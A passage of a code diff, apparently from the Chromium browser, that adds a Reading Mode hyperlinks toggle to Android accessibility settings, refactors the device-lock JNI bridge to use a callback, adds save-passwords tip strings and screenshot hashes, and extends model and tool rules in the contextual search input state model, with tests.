+            };
+
     private PageZoomPreference mPageZoomDefaultZoomPref;
     private ChromeSwitchPreference mPageZoomIncludeOSAdjustment;
     private ChromeSwitchPreference mPageZoomAlwaysShowPref;
@@ -63,6 +87,7 @@
     private AccessibilitySettingsDelegate mDelegate;
     private double mPageZoomLatestDefaultZoomPrefValue;
     private ChromeSwitchPreference mTouchpadOverscrollHistoryNavigationPref;
+    private @Nullable DistilledPagePrefs mDistilledPagePrefs;
 
     private final SettableMonotonicObservableSupplier<String> mPageTitle =
             ObservableSuppliers.createMonotonic();
@@ -130,6 +155,16 @@
                 mDelegate.getReaderAccessibilityDelegate().getValue());
         readerForAccessibilityPref.setOnPreferenceChangeListener(this);
 
+        boolean toggleLinksEnabled = shouldShowReadingModeToggleLinks();
+        ChromeSwitchPreference readerEnableLinks = findPreference(PREF_READER_ENABLE_LINKS);
+        readerEnableLinks.setVisible(toggleLinksEnabled);
+        if (toggleLinksEnabled) {
+            mDistilledPagePrefs = mDelegate.getDistilledPagePrefs();
+            mDistilledPagePrefs.addObserver(mDistilledPagePrefsObserver);
+            mDistilledPagePrefsObserver.onChangeLinksEnabled(mDistilledPagePrefs.getLinksEnabled());
+            readerEnableLinks.setOnPreferenceChangeListener(this);
+        }
+
         Preference captions = findPreference(PREF_CAPTIONS);
         captions.setOnPreferenceClickListener(
                 preference -> {
@@ -201,6 +236,15 @@
     }
 
     @Override
+    public void onDestroy() {
+        if (mDistilledPagePrefs != null) {
+            mDistilledPagePrefs.removeObserver(mDistilledPagePrefsObserver);
+        }
+
+        super.onDestroy();
+    }
+
+    @Override
     public void onStop() {
         // Ensure that the user has set a default zoom value during this session.
         if (mPageZoomLatestDefaultZoomPrefValue != 0.0) {
@@ -222,6 +266,14 @@
             RecordHistogram.recordBooleanHistogram(
                     "DomDistiller.Android.ReaderModeEnabledInAccessibilitySettings",
                     readerModeEnabled);
+        } else if (PREF_READER_ENABLE_LINKS.equals(preference.getKey())) {
+            // This preference is only registered if mDistilledPagePrefs is non-null.
+            assert mDistilledPagePrefs != null;
+            boolean readerEnableLinks = (Boolean) newValue;
+            mDistilledPagePrefs.setLinksEnabled(readerEnableLinks);
+            RecordHistogram.recordBooleanHistogram(
+                    "DomDistiller.Android.ReaderModeEnableLinksInAccessibilitySettings",
+                    readerEnableLinks);
         } else if (PREF_PAGE_ZOOM_DEFAULT_ZOOM.equals(preference.getKey())) {
             mPageZoomLatestDefaultZoomPrefValue =
                     PageZoomUtils.convertBarValueToZoomLevel((Integer) newValue);
@@ -278,6 +330,10 @@
         return delegate.shouldShowImageDescriptionsSetting();
     }
 
+    private static boolean shouldShowReadingModeToggleLinks() {
+        return DomDistillerFeatures.sReaderModeToggleLinks.isEnabled();
+    }
+
     public static final BaseSearchIndexProvider SEARCH_INDEX_DATA_PROVIDER =
             new BaseSearchIndexProvider(
                     AccessibilitySettings.class.getName(), R.xml.accessibility_preferences);
@@ -339,6 +395,9 @@
         if (!shouldShowTouchpadOverscrollHistoryNavigationPref()) {
             indexData.removeEntryForKey(prefFragment, PREF_TOUCHPAD_OVERSCROLL_HISTORY_NAVIGATION);
         }
+        if (!shouldShowReadingModeToggleLinks()) {
+            indexData.removeEntryForKey(prefFragment, PREF_READER_ENABLE_LINKS);
+        }
     }
 
     private static void addEntryForKey(
diff --git a/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettingsDelegate.java b/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettingsDelegate.java
index ea8353f0..de57865 100644
--- a/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettingsDelegate.java
+++ b/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettingsDelegate.java
@@ -6,6 +6,7 @@
 
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.components.browser_ui.settings.SettingsNavigation;
+import org.chromium.components.dom_distiller.core.DistilledPagePrefs;
 import org.chromium.content_public.browser.BrowserContextHandle;
 
 /**
@@ -78,6 +79,9 @@
      */
     BooleanPreferenceDelegate getReaderAccessibilityDelegate();
 
+    /** Returns an instance of DistilledPagePrefs. */
+    DistilledPagePrefs getDistilledPagePrefs();
+
     /**
      * Returns whether the material slider should be used for the page zoom preference.
      *
diff --git a/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettingsTest.java b/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettingsTest.java
index 04afdb3..63fa7faf 100644
--- a/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettingsTest.java
+++ b/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettingsTest.java
@@ -51,10 +51,13 @@
 import org.chromium.base.test.util.Feature;
 import org.chromium.base.test.util.Features;
 import org.chromium.base.test.util.Features.DisableFeatures;
+import org.chromium.base.test.util.Features.EnableFeatures;
 import org.chromium.base.test.util.HistogramWatcher;
 import org.chromium.components.browser_ui.settings.BlankUiTestActivitySettingsTestRule;
 import org.chromium.components.browser_ui.settings.ChromeSwitchPreference;
 import org.chromium.components.browser_ui.settings.SettingsNavigation;
+import org.chromium.components.dom_distiller.core.DistilledPagePrefs;
+import org.chromium.components.dom_distiller.core.DomDistillerFeatures;
 import org.chromium.content.browser.HostZoomMapImpl;
 import org.chromium.content.browser.HostZoomMapImplJni;
 import org.chromium.content_public.browser.BrowserContextHandle;
@@ -88,6 +91,7 @@
     @Mock private AccessibilitySettingsDelegate.IntegerPreferenceDelegate mIntegerPrefMock;
     @Mock private AccessibilitySettingsDelegate.BooleanPreferenceDelegate mBoolPrefMock;
     @Mock private SettingsNavigation mSettingsNavigationMock;
+    @Mock private DistilledPagePrefs mDistilledPagePrefsMock;
 
     @Mock private HostZoomMapImpl.Natives mHostZoomMapBridgeMock;
 
@@ -105,6 +109,7 @@
                 .thenReturn(mBoolPrefMock);
         when(mDelegate.getTextSizeContrastAccessibilityDelegate()).thenReturn(mIntegerPrefMock);
         when(mDelegate.getSiteSettingsNavigation()).thenReturn(mSettingsNavigationMock);
+        when(mDelegate.getDistilledPagePrefs()).thenReturn(mDistilledPagePrefsMock);
 
         // Enable screen reader to display all settings options.
         ThreadUtils.runOnUiThreadBlocking(
@@ -301,6 +306,85 @@
     @Test
     @SmallTest
     @Feature({"Accessibility"})
+    @EnableFeatures(DomDistillerFeatures.READER_MODE_TOGGLE_LINKS)
+    public void testReaderEnableLinksPreferenceChange() {
+        when(mDistilledPagePrefsMock.getLinksEnabled()).thenReturn(true);
+        launchPreferenceUI();
+        ChromeSwitchPreference readerEnableLinksPref =
+                (ChromeSwitchPreference)
+                        mAccessibilitySettings.findPreference(
+                                AccessibilitySettings.PREF_READER_ENABLE_LINKS);
+        assertTrue(readerEnableLinksPref.isVisible());
+        assertTrue(readerEnableLinksPref.isChecked());
+
+        HistogramWatcher watcher =
+                HistogramWatcher.newBuilder()
+                        .expectBooleanRecord(
+                                "DomDistiller.Android.ReaderModeEnableLinksInAccessibilitySettings",
+                                false)
+                        .build();
+        readerEnableLinksPref.callChangeListener(false);
+        verify(mDistilledPagePrefsMock).setLinksEnabled(false);
+        watcher.assertExpected();
+    }
+
+    @Test
+    @SmallTest
+    @Feature({"Accessibility"})
+    @EnableFeatures(DomDistillerFeatures.READER_MODE_TOGGLE_LINKS)
+    public void testReaderEnableLinksObserver() {
+        when(mDistilledPagePrefsMock.getLinksEnabled()).thenReturn(true);
+        launchPreferenceUI();
+        ChromeSwitchPreference readerEnableLinksPref =
+                (ChromeSwitchPreference)
+                        mAccessibilitySettings.findPreference(
+                                AccessibilitySettings.PREF_READER_ENABLE_LINKS);
+        assertTrue(readerEnableLinksPref.isChecked());
+
+        ThreadUtils.runOnUiThreadBlocking(
+                () ->
+                        mAccessibilitySettings.mDistilledPagePrefsObserver.onChangeLinksEnabled(
+                                false));
+        Assert.assertFalse(readerEnableLinksPref.isChecked());
+
+        ThreadUtils.runOnUiThreadBlocking(
+                () ->
+                        mAccessibilitySettings.mDistilledPagePrefsObserver.onChangeLinksEnabled(
+                                true));
+        assertTrue(readerEnableLinksPref.isChecked());
+    }
+
+    @Test
+    @SmallTest
+    @Feature({"Accessibility"})
+    @EnableFeatures(DomDistillerFeatures.READER_MODE_TOGGLE_LINKS)
+    public void testReaderEnableLinksObserver_unregisterObserverOnDestroy() {
+        when(mDistilledPagePrefsMock.getLinksEnabled()).thenReturn(true);
+        launchPreferenceUI();
+        verify(mDistilledPagePrefsMock).addObserver(any());
+
+        mAccessibilitySettings.onDestroy();
+        verify(mDistilledPagePrefsMock).removeObserver(any());
+    }
+
+    @Test
+    @SmallTest
+    @Feature({"Accessibility"})
+    @EnableFeatures(DomDistillerFeatures.READER_MODE_TOGGLE_LINKS)
+    public void testReaderEnableLinksInitialState_Disabled() {
+        when(mDistilledPagePrefsMock.getLinksEnabled()).thenReturn(false);
+        launchPreferenceUI();
+        ChromeSwitchPreference readerEnableLinksPref =
+                (ChromeSwitchPreference)
+                        mAccessibilitySettings.findPreference(
+                                AccessibilitySettings.PREF_READER_ENABLE_LINKS);
+        assertTrue(readerEnableLinksPref.isVisible());
+        Assert.assertFalse(readerEnableLinksPref.isChecked());
+    }
+
+    @Test
+    @SmallTest
+    @Feature({"Accessibility"})
     @Features.EnableFeatures({ContentFeatureList.ANDROID_CARET_BROWSING})
     public void testCaretFeatureToggle() {
         DeviceInput.setSupportsKeyboardForTesting(true);
diff --git a/components/browser_ui/device_lock/android/device_lock_bridge.cc b/components/browser_ui/device_lock/android/device_lock_bridge.cc
index fa6c7e7..255028f 100644
--- a/components/browser_ui/device_lock/android/device_lock_bridge.cc
+++ b/components/browser_ui/device_lock/android/device_lock_bridge.cc
@@ -6,6 +6,7 @@
 
 #include "base/android/device_info.h"
 #include "base/android/jni_android.h"
+#include "base/android/jni_callback.h"
 #include "base/android/scoped_java_ref.h"
 #include "ui/android/window_android.h"
 
@@ -14,15 +15,9 @@
 
 using base::android::JavaRef;
 
-DeviceLockBridge::DeviceLockBridge() {
-  java_object_ = Java_DeviceLockBridge_create(
-      base::android::AttachCurrentThread(), reinterpret_cast<intptr_t>(this));
-}
+DeviceLockBridge::DeviceLockBridge() = default;
 
-DeviceLockBridge::~DeviceLockBridge() {
-  Java_DeviceLockBridge_clearNativePointer(base::android::AttachCurrentThread(),
-                                           java_object_);
-}
+DeviceLockBridge::~DeviceLockBridge() = default;
 
 void DeviceLockBridge::LaunchDeviceLockUiIfNeededBeforeRunningCallback(
     ui::WindowAndroid* window_android,
@@ -38,16 +33,10 @@
   }
 
   CHECK(callback);
-  device_lock_confirmed_callback_ = std::move(callback);
+  auto* env = base::android::AttachCurrentThread();
   Java_DeviceLockBridge_launchDeviceLockUiBeforeRunningCallback(
-      base::android::AttachCurrentThread(), java_object_,
-      window_android->GetJavaObject());
-}
-
-void DeviceLockBridge::OnDeviceLockUiFinished(JNIEnv* env,
-                                              bool is_device_lock_set) {
-  std::move(device_lock_confirmed_callback_)
-      .Run(/*device_lock_requirement_met=*/is_device_lock_set);
+      env, window_android->GetJavaObject(),
+      base::android::ToJniCallback(env, std::move(callback)));
 }
 
 bool DeviceLockBridge::ShouldShowDeviceLockUi() {
diff --git a/components/browser_ui/device_lock/android/device_lock_bridge.h b/components/browser_ui/device_lock/android/device_lock_bridge.h
index b7f3033..2ef0682 100644
--- a/components/browser_ui/device_lock/android/device_lock_bridge.h
+++ b/components/browser_ui/device_lock/android/device_lock_bridge.h
@@ -27,10 +27,6 @@
       ui::WindowAndroid* window_android,
       DeviceLockRequirementMetCallback callback);
 
-  // Invokes a callback to save a pending password (if device lock was set up)
-  // and clean up pointers and other data.
-  void OnDeviceLockUiFinished(JNIEnv* env, bool is_device_lock_set);
-
   // Returns true iff the device requires a device lock (ex: pin/password) and
   // does not have one set or requires a device lock but hasn't seen the
   // explainer dialog before.
@@ -48,15 +44,6 @@
   // device lock page has been shown to and affirmatively acknowledged by the
   // user).
   bool DeviceLockPageHasBeenPassed();
-
-  // This object is an instance of DeviceLockBridge.java (the Java counterpart
-  // to this class).
-  base::android::ScopedJavaGlobalRef<jobject> java_object_;
-
-  // The callback to run after either Chrome determines that the device lock UI
-  // does not need to be shown or the user successfully finishes the device lock
-  // UI.
-  DeviceLockRequirementMetCallback device_lock_confirmed_callback_;
 };
 
 #endif  // COMPONENTS_BROWSER_UI_DEVICE_LOCK_ANDROID_DEVICE_LOCK_BRIDGE_H_
diff --git a/components/browser_ui/device_lock/android/java/src/org/chromium/components/browser_ui/device_lock/DeviceLockBridge.java b/components/browser_ui/device_lock/android/java/src/org/chromium/components/browser_ui/device_lock/DeviceLockBridge.java
index e9265bc..c99f1d1 100644
--- a/components/browser_ui/device_lock/android/java/src/org/chromium/components/browser_ui/device_lock/DeviceLockBridge.java
+++ b/components/browser_ui/device_lock/android/java/src/org/chromium/components/browser_ui/device_lock/DeviceLockBridge.java
@@ -11,9 +11,9 @@
 import android.content.Context;
 
 import org.jni_zero.CalledByNative;
-import org.jni_zero.NativeMethods;
 
 import org.chromium.base.ContextUtils;
+import org.chromium.base.JniOnceCallback;
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.ui.base.WindowAndroid;
 
@@ -28,15 +28,17 @@
     public static final String DEVICE_LOCK_PAGE_HAS_BEEN_PASSED =
             "Chrome.DeviceLockPage.HasBeenPassed";
 
-    private long mNativeDeviceLockBridge;
+    // Do not instantiate this class; all methods are static.
+    private DeviceLockBridge() {}
 
-    private DeviceLockBridge(long nativeDeviceLockBridge) {
-        mNativeDeviceLockBridge = nativeDeviceLockBridge;
-    }
-
+    /**
+     * Returns true iff the device lock page has already been passed (i.e. the device lock page has
+     * been shown to and affirmatively acknowledged by the user).
+     */
     @CalledByNative
-    static DeviceLockBridge create(long nativeDeviceLockBridge) {
-        return new DeviceLockBridge(nativeDeviceLockBridge);
+    public static boolean deviceLockPageHasBeenPassed() {
+        return ContextUtils.getAppSharedPreferences()
+                .getBoolean(DEVICE_LOCK_PAGE_HAS_BEEN_PASSED, false);
     }
 
     /**
@@ -47,10 +49,8 @@
      * flow.
      */
     @CalledByNative
-    private void launchDeviceLockUiBeforeRunningCallback(WindowAndroid windowAndroid) {
-        if (mNativeDeviceLockBridge == 0) {
-            return;
-        }
+    private static void launchDeviceLockUiBeforeRunningCallback(
+            WindowAndroid windowAndroid, JniOnceCallback<Boolean> callback) {
         final Context context = windowAndroid.getContext().get();
         if (context != null) {
             DeviceLockActivityLauncher deviceLockActivityLauncher =
@@ -62,39 +62,18 @@
                     null,
                     false,
                     windowAndroid,
-                    (resultCode, unused) ->
-                            DeviceLockBridgeJni.get()
-                                    .onDeviceLockUiFinished(
-                                            mNativeDeviceLockBridge,
-                                            resultCode == Activity.RESULT_OK),
+                    (resultCode, unused) -> callback.onResult(resultCode == Activity.RESULT_OK),
                     DeviceLockActivityLauncher.Source.AUTOFILL);
         } else {
-            DeviceLockBridgeJni.get().onDeviceLockUiFinished(mNativeDeviceLockBridge, false);
+            callback.onResult(false);
         }
     }
 
     @CalledByNative
-    private void clearNativePointer() {
-        mNativeDeviceLockBridge = 0;
-    }
-
-    @CalledByNative
     private static boolean isDeviceSecure() {
         return ((KeyguardManager)
                         ContextUtils.getApplicationContext()
                                 .getSystemService(Context.KEYGUARD_SERVICE))
                 .isDeviceSecure();
     }
-
-    @CalledByNative
-    public static boolean deviceLockPageHasBeenPassed() {
-        return ContextUtils.getAppSharedPreferences()
-                .getBoolean(DEVICE_LOCK_PAGE_HAS_BEEN_PASSED, false);
-    }
-
-    /** C++ method signatures. */
-    @NativeMethods
-    interface Natives {
-        void onDeviceLockUiFinished(long nativeDeviceLockBridge, boolean isDeviceLockSet);
-    }
 }
diff --git a/components/browser_ui/strings/android/browser_ui_strings.grd b/components/browser_ui/strings/android/browser_ui_strings.grd
index 54004b8f..c1847496 100644
--- a/components/browser_ui/strings/android/browser_ui_strings.grd
+++ b/components/browser_ui/strings/android/browser_ui_strings.grd
@@ -1030,15 +1030,21 @@
       <message name="IDS_FORCE_ENABLE_ZOOM_SUMMARY" desc="Summary of preference that allows the user to zoom in on any webpage, even if the page tries to disable zooming.">
         Override a website’s request to prevent zooming in
       </message>
-      <message name="IDS_READER_FOR_ACCESSIBILITY_TITLE" desc="Title of preference that allows the user to use simplified view on any articles, even if the page is mobile-friendly. Simplified view is the new user-facing name for Reader Mode, which extracts the content of an article and removes clutter from a web page and puts the result in a easier-to-read format.">
-        Simplified view for web pages
-      </message>
       <message name="IDS_ZOOM_INFO_PREFERENCE_TITLE" desc="Summary of preference that allows the user to view the set zoom levels for all websites.">
         Saved zoom for sites
       </message>
+      <message name="IDS_READER_FOR_ACCESSIBILITY_TITLE" desc="Title of preference that allows the user to use simplified view on any articles, even if the page is mobile-friendly. Simplified view is the new user-facing name for Reader Mode, which extracts the content of an article and removes clutter from a web page and puts the result in a easier-to-read format.">
+        Simplified view for web pages
+      </message>
       <message name="IDS_READER_FOR_ACCESSIBILITY_SUMMARY" desc="Summary of preference that allows the user to use simplified view on any supported articles, even if the page is mobile-friendly.">
         Get notified when an article can be shown in simplified view
       </message>
+      <message name="IDS_READER_ENABLE_LINKS_TITLE" desc="Title of preference that allows the user to turn links on or off for Reading Mode.">
+        Show hyperlinks
+      </message>
+      <message name="IDS_READER_ENABLE_LINKS_SUMMARY" desc="Summary of preference that allows the user to turn links on or off for Reading Mode.">
+        Show links once Reading Mode is on
+      </message>
       <message name="IDS_ACCESSIBILITY_CAPTIONS_TITLE" desc="Title of the preference that allows the user to update caption settings.">
         Captions
       </message>
@@ -1360,6 +1366,26 @@
         Show me how
       </message>
 
+      <!-- Save Passwords instructional bottom sheet strings -->
+      <message name="IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_FIRST_STEP" desc="The first step in the bottom sheet of the save passwords section within the educational tip module on the NTP.">
+        Sign in to any website
+      </message>
+      <message name="IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_SECOND_STEP" desc="The second step in the bottom sheet of the save passwords section within the educational tip module on the NTP.">
+        Chrome will offer to save your password
+      </message>
+      <message name="IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_THIRD_STEP" desc="The third step in the bottom sheet of the save passwords section within the educational tip module on the NTP.">
+        Tap Yes to easily use this password the next time you sign in
+      </message>
+      <message name="IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_ACCESSIBILITY_CLOSED" desc="Accessibility string that describes that the save passwords bottom sheet has closed.">
+        Save passwords instructional bottom sheet has closed
+      </message>
+      <message name="IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_CONTENT_DESCRIPTION" desc="Accessibility string that describes the save passwords bottom sheet.">
+        Instructional bottom sheet for saving passwords in Chrome
+      </message>
+      <message name="IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_ACCESSIBILITY_OPENED_FULL" desc="Accessibility string that describes that the save passwords bottom sheet has fully opened.">
+        Save passwords instructional bottom sheet has fully opened
+      </message>
+
       <!-- Setup list Password Checkup promo strings -->
       <message name="IDS_EDUCATIONAL_TIP_PASSWORD_CHECKUP_TITLE" desc="Title of the Password Checkup promo that invites users to check their saved passwords in the educational tip module on NTP.">
         Check your saved passwords
diff --git a/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_ACCESSIBILITY_CLOSED.png.sha1 b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_ACCESSIBILITY_CLOSED.png.sha1
new file mode 100644
index 0000000..2a68f529
--- /dev/null
+++ b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_ACCESSIBILITY_CLOSED.png.sha1
@@ -0,0 +1 @@
+8f9a270b6ddfd0550b7257424d0494257750a8f3
\ No newline at end of file
diff --git a/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_ACCESSIBILITY_OPENED_FULL.png.sha1 b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_ACCESSIBILITY_OPENED_FULL.png.sha1
new file mode 100644
index 0000000..2a68f529
--- /dev/null
+++ b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_ACCESSIBILITY_OPENED_FULL.png.sha1
@@ -0,0 +1 @@
+8f9a270b6ddfd0550b7257424d0494257750a8f3
\ No newline at end of file
diff --git a/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_CONTENT_DESCRIPTION.png.sha1 b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_CONTENT_DESCRIPTION.png.sha1
new file mode 100644
index 0000000..2a68f529
--- /dev/null
+++ b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_CONTENT_DESCRIPTION.png.sha1
@@ -0,0 +1 @@
+8f9a270b6ddfd0550b7257424d0494257750a8f3
\ No newline at end of file
diff --git a/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_FIRST_STEP.png.sha1 b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_FIRST_STEP.png.sha1
new file mode 100644
index 0000000..2a68f529
--- /dev/null
+++ b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_FIRST_STEP.png.sha1
@@ -0,0 +1 @@
+8f9a270b6ddfd0550b7257424d0494257750a8f3
\ No newline at end of file
diff --git a/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_SECOND_STEP.png.sha1 b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_SECOND_STEP.png.sha1
new file mode 100644
index 0000000..2a68f529
--- /dev/null
+++ b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_SECOND_STEP.png.sha1
@@ -0,0 +1 @@
+8f9a270b6ddfd0550b7257424d0494257750a8f3
\ No newline at end of file
diff --git a/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_THIRD_STEP.png.sha1 b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_THIRD_STEP.png.sha1
new file mode 100644
index 0000000..2a68f529
--- /dev/null
+++ b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_EDUCATIONAL_TIP_SAVE_PASSWORDS_BOTTOM_SHEET_THIRD_STEP.png.sha1
@@ -0,0 +1 @@
+8f9a270b6ddfd0550b7257424d0494257750a8f3
\ No newline at end of file
diff --git a/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_READER_ENABLE_LINKS_SUMMARY.png.sha1 b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_READER_ENABLE_LINKS_SUMMARY.png.sha1
new file mode 100644
index 0000000..8a7269b
--- /dev/null
+++ b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_READER_ENABLE_LINKS_SUMMARY.png.sha1
@@ -0,0 +1 @@
+7776fa7d58d45f89fd34da6fcd949bb55686de92
\ No newline at end of file
diff --git a/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_READER_ENABLE_LINKS_TITLE.png.sha1 b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_READER_ENABLE_LINKS_TITLE.png.sha1
new file mode 100644
index 0000000..8a7269b
--- /dev/null
+++ b/components/browser_ui/strings/android/browser_ui_strings_grd/IDS_READER_ENABLE_LINKS_TITLE.png.sha1
@@ -0,0 +1 @@
+7776fa7d58d45f89fd34da6fcd949bb55686de92
\ No newline at end of file
diff --git a/components/commerce/core/internals/resources/product_viewer/app.css b/components/commerce/core/internals/resources/product_viewer/app.css
index 1d6f63a..165d4c4 100644
--- a/components/commerce/core/internals/resources/product_viewer/app.css
+++ b/components/commerce/core/internals/resources/product_viewer/app.css
@@ -14,7 +14,7 @@
 }
 
 .url-input {
-  padding: 20px 0px 20px 0px;
+  padding: 20px 0 20px 0;
 }
 
 table {
diff --git a/components/contextual_search/BUILD.gn b/components/contextual_search/BUILD.gn
index c05f54e..311c83c 100644
--- a/components/contextual_search/BUILD.gn
+++ b/components/contextual_search/BUILD.gn
@@ -48,8 +48,6 @@
     "contextual_search_metrics_recorder.h",
     "contextual_search_service.h",
     "contextual_search_session_handle.h",
-    "contextual_search_types.cc",
-    "contextual_search_types.h",
     "input_state_model.h",
   ]
 
@@ -71,12 +69,28 @@
   ]
 
   public_deps = [
+    ":types",
     "//base",
     "//components/lens",
     "//third_party/lens_server_proto:lens_overlay_proto",
   ]
 }
 
+source_set("types") {
+  sources = [
+    "contextual_search_types.cc",
+    "contextual_search_types.h",
+  ]
+
+  public_deps = [
+    "//base",
+    "//components/lens",
+    "//components/sessions:session_id",
+    "//third_party/lens_server_proto:lens_overlay_proto",
+    "//url",
+  ]
+}
+
 # Public implementation target - contains the service implementation.
 source_set("impl") {
   sources = [
diff --git a/components/contextual_search/input_state_model.cc b/components/contextual_search/input_state_model.cc
index 35b536dc..2039cc2 100644
--- a/components/contextual_search/input_state_model.cc
+++ b/components/contextual_search/input_state_model.cc
@@ -336,12 +336,14 @@
     bool incompatible_with_tool =
         state_.active_tool != omnibox::ToolMode::TOOL_MODE_UNSPECIFIED &&
         (!model_rule ||
-         !IsItemAllowed(state_.active_tool, model_rule->allowed_tools()));
+         (!model_rule->allow_all_tools() &&
+          !IsItemAllowed(state_.active_tool, model_rule->allowed_tools())));
 
     bool incompatible_with_inputs =
         (!model_rule ||
-         !AreItemsAllowed(GetCurrentInputTypes(session_handle_.get()),
-                          model_rule->allowed_input_types()));
+         (!model_rule->allow_all_input_types() &&
+          !AreItemsAllowed(GetCurrentInputTypes(session_handle_.get()),
+                           model_rule->allowed_input_types())));
 
     if (incompatible_with_tool || incompatible_with_inputs) {
       state_.disabled_models.push_back(model);
@@ -409,7 +411,7 @@
 
     bool incompatible_with_tool =
         state_.active_tool != omnibox::ToolMode::TOOL_MODE_UNSPECIFIED &&
-        active_tool_rule &&
+        active_tool_rule && !active_tool_rule->allow_all_input_types() &&
         !IsItemAllowed(input_type, active_tool_rule->allowed_input_types());
 
     if (input_limit_reached || incompatible_with_model ||
diff --git a/components/contextual_search/input_state_model_unittest.cc b/components/contextual_search/input_state_model_unittest.cc
index 648621e..20d9a3a 100644
--- a/components/contextual_search/input_state_model_unittest.cc
+++ b/components/contextual_search/input_state_model_unittest.cc
@@ -158,6 +158,84 @@
   EXPECT_TRUE(state.disabled_input_types.empty());
 }
 
+TEST_F(InputStateModelTest, ModelWithAllowAllToolsIsNotDisabled) {
+  omnibox::SearchboxConfig config;
+  auto* rule_set = config.mutable_rule_set();
+
+  // Regular model allows everything.
+  auto* model_gemini_rule = rule_set->add_model_rules();
+  model_gemini_rule->set_model(omnibox::ModelMode::MODEL_MODE_GEMINI_REGULAR);
+  model_gemini_rule->set_allow_all_tools(true);
+  model_gemini_rule->set_allow_all_input_types(true);
+
+  // Pro model only allows Image Gen tool.
+  auto* model_pro_rule = rule_set->add_model_rules();
+  model_pro_rule->set_model(omnibox::ModelMode::MODEL_MODE_GEMINI_PRO);
+  model_pro_rule->add_allowed_tools(omnibox::ToolMode::TOOL_MODE_IMAGE_GEN);
+
+  // Add allowed models and tools.
+  rule_set->add_allowed_models(omnibox::ModelMode::MODEL_MODE_GEMINI_REGULAR);
+  rule_set->add_allowed_models(omnibox::ModelMode::MODEL_MODE_GEMINI_PRO);
+  rule_set->add_allowed_tools(omnibox::ToolMode::TOOL_MODE_DEEP_SEARCH);
+  rule_set->add_allowed_tools(omnibox::ToolMode::TOOL_MODE_IMAGE_GEN);
+
+  input_state_model_ =
+      std::make_unique<InputStateModel>(session_handle_, config);
+  input_state_model_->SetPrefService(&pref_service_);
+
+  // Select Deep Search tool.
+  input_state_model_->setActiveTool(omnibox::ToolMode::TOOL_MODE_DEEP_SEARCH);
+  const auto& state = input_state_model_->get_state_for_testing();
+
+  // Pro model should be disabled as it doesn't support Deep Search.
+  // Regular model should not be disabled as it allows all tools.
+  EXPECT_THAT(state.disabled_models,
+              UnorderedElementsAre(omnibox::ModelMode::MODEL_MODE_GEMINI_PRO));
+}
+
+TEST_F(InputStateModelTest, ModelWithAllowAllInputsIsNotDisabled) {
+  omnibox::SearchboxConfig config;
+  auto* rule_set = config.mutable_rule_set();
+
+  // Regular model allows everything.
+  auto* model_gemini_rule = rule_set->add_model_rules();
+  model_gemini_rule->set_model(omnibox::ModelMode::MODEL_MODE_GEMINI_REGULAR);
+  model_gemini_rule->set_allow_all_tools(true);
+  model_gemini_rule->set_allow_all_input_types(true);
+
